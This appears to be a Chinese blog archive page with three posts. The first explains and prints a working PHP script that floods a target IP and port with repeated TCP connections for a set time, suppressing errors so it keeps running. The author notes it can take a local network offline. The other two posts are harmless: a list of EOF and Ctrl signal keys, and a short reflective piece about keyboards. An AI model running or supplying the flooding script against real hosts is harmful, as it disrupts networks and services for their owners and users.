月度归档:2012年02月

PHP写的仿DDOS攻击程序

DDOS全名是Distributed Denial of service (分布式拒绝服务攻击),很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击。

这些东西貌似应该是C和C++或者其他什么东西搞出来的。

PHP可以吗?值得怀疑……

事实证明可以,不过有点儿打折,因为,攻击程序是单点对单点的不是分布式的,所以明确一点儿说应该是dos 拒绝服务攻击。

PHP的底层是C,同时PHP中提供了socket接口,有了这些东西,也就完成了ddos攻击的条件之一,可以用服务器来不停的向攻击目标发起连接,然后写入无意义的字节。

连接函数是fsockopen();这里我们传值”tcp://$ip”,端口,错误号和错误信息,最后一个参数写0,然后可以获得句柄。

通过fwrite不停的想连接中写入字节,然后关闭连接。

如此循环,直到一定的时间。

详细代码如下:

    function ddos($ip='127.0.0.1',$port=80,$errorno=0,$errstr='',$time=30) {
        error_reporting(0);
        ignore_user_abort(TRUE);
        $exec_time = time() + $time ;
        $byte = 0;
        while(1) {
            $byte++;
            if(time() > $exec_time) {
                 break;
            }
            $fp = fsockopen("tcp://$ip",$port,$errorno,$errstr,0);
            if($fp) {
               fwrite($fp,$byte);
               fclose($fp);
            }
        }
    }
    ddos();

注意传值传IP,可能造成小范围内局域网不能上网。

键盘上的EOF

我原以为EOF只会在文件中出现,end of file。
但是,谁知道他在我的身上也有,所谓,想一个人久了,自己身上就会有他的印记,只是自己没有意识到而已。

如果你的系统是windows,那么EOF是 Ctrl+Z 。
如果是linux,那么藏在 Ctrl+d 。

另外一些键留着方便查看

linux下:
ctrl-c 发送 SIGINT 信号给前台进程组中的所有进程。常用于终止正在运行的程序。
ctrl-z 发送 SIGTSTP 信号给前台进程组中的所有进程,常用于挂起一个进程。
ctrl-d 不是发送信号,而是表示一个特殊的二进制值,表示 EOF。
ctrl-\ 发送 SIGQUIT 信号给前台进程组中的所有进程,终止前台进程并生成 core 文件。

104个键和10个精灵

灯影明光里,104个按键聚集在那个窄小而又宽广的天地,同十个精灵碰撞着,发出低沉的声音。

低沉?没错,是低沉!

原以为,按键可以不变,

永远可以看得清楚上边写的是什么!

但是日子久了,发现上边的字被磨灭了,时间妄图吞没这一切。

那时以为,没了字,看不到了,就找不到了。

但是……

我却在不知不觉间学会了盲打,

把所有的一切深深的印在了心里……

原来时间并不能带走所有的……

总会给我们留下什么……